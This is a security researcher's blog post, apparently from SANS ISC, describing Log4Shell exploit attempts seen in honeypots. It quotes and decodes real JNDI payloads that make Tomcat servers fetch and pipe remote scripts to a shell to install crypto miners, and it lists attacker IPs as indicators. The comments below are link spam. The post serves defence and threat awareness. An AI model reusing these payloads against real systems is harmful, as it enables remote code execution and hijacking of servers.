Log4Shell Attacks Getting "Smarter"
Ever since news of the Log4Shell vulnerability broke, we saw a stream of attacks attempting to exploit this vulnerability in log4j (CVE-2021-44228).
Initial attempts where rather "blunt", and attempted to insert the JNDI exploit string into various fields without much concern how and where the string may be logged. More recently, we did some however some more specific exploits targeting specific software configurations. Most notably, exploit have been released for Unifi's network controller and VMWare.
Today for example, we saw some exploit strings that may be targeting Tomcat configurations:
/$%7Bjndi:ldap://ldap://62.182.80.168:13899/o=tomcat%7D/x=%24%7Bjndi%3Aldap%3A%2F%2F142.44.203.85%3A1389%2FTomcatBypass%2FCommand%2FBase64%2FY3VybCA3Mi40Ni41Mi4xMzUvbWFkLnNoIHwgYmFzaA%3D%3D%7D
This decodes to:
/${jndi:ldap://ldap://62.182.80.168:13899/o=tomcat}/x=${jndi:ldap://142.44.203.85:1389/TomcatBypass/Command/Base64/Y3VybCA3Mi40Ni41Mi4xMzUvbWFkLnNoIHwgYmFzaA==}
With the Base64 part decoding to: curl 72.46.52.135/mad.sh . This will lead, after many redirects and the like, to a good old xmrig miner. Maybe something for a later day as there are some interesting tidbits in the various shell scripts downloaded.
A second, similar attempt was found in about two dozens of our honeypots:
/?test=t(%27$%7B$%7Benv:NaN:-j%7Dndi$%7Benv:NaN:-:%7D$%7Benv:NaN:-l%7Ddap$%7Benv:NaN:-:%7D//137.184.40.48:1389/TomcatBypass/Command/Base64/d2dldCBodHRwOi8vMTU4LjEwMS4xMTguMjM2L3NldHVwOyBjdXJsIC1PIGh0dHA6Ly8xNTguMTAxLjExOC4yMzYvc2V0dXA7IGNobW9kIDc3NyB
The URL retrieved by this attempt is no longer available, but given the similar method, chances are it is yet another crypto minder.
A few things to look for:
- The first attempt is erasing log lines that contain this IP address: 107.191.63.34
- It creates a /tmp/.shanbe directory
- connects to a mining pool at 207.38.87.6 (port 3333)
- Downloads additional code from 41.157.42.239 .
But then again, if you need IoCs like this to detect crypto miners: Reassess what kind of monitoring you do on more basic parameters like CPU load and rogue processes running on systems.
The news around log4shell has gotten quiet, but it isn't over yet. Attacks keep evolving and do not consider this a non-event if none of the initial "pray and spray" attacks affected you.
---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|
Comments
Anonymous
Dec 3rd 2022
9 months ago
Anonymous
Dec 3rd 2022
9 months ago
<a hreaf="https://technolytical.com/">the social network</a> is described as follows because they respect your privacy and keep your data secure. The social networks are not interested in collecting data about you. They don't care about what you're doing, or what you like. They don't want to know who you talk to, or where you go.
<a hreaf="https://technolytical.com/">the social network</a> is not interested in collecting data about you. They don't care about what you're doing, or what you like. They don't want to know who you talk to, or where you go. The social networks only collect the minimum amount of information required for the service that they provide. Your personal information is kept private, and is never shared with other companies without your permission
Anonymous
Dec 26th 2022
9 months ago
Anonymous
Dec 26th 2022
9 months ago
<a hreaf="https://defineprogramming.com/the-public-bathroom-near-me-find-nearest-public-toilet/"> nearest public toilet to me</a>
<a hreaf="https://defineprogramming.com/the-public-bathroom-near-me-find-nearest-public-toilet/"> public bathroom near me</a>
Anonymous
Dec 26th 2022
9 months ago
<a hreaf="https://defineprogramming.com/the-public-bathroom-near-me-find-nearest-public-toilet/"> nearest public toilet to me</a>
<a hreaf="https://defineprogramming.com/the-public-bathroom-near-me-find-nearest-public-toilet/"> public bathroom near me</a>
Anonymous
Dec 26th 2022
9 months ago
Anonymous
Dec 26th 2022
9 months ago
https://defineprogramming.com/
Dec 26th 2022
9 months ago
distribute malware. Even if the URL listed on the ad shows a legitimate website, subsequent ad traffic can easily lead to a fake page. Different types of malware are distributed in this manner. I've seen IcedID (Bokbot), Gozi/ISFB, and various information stealers distributed through fake software websites that were provided through Google ad traffic. I submitted malicious files from this example to VirusTotal and found a low rate of detection, with some files not showing as malware at all. Additionally, domains associated with this infection frequently change. That might make it hard to detect.
https://clickercounter.org/
https://defineprogramming.com/
Dec 26th 2022
9 months ago
rthrth
Jan 2nd 2023
8 months ago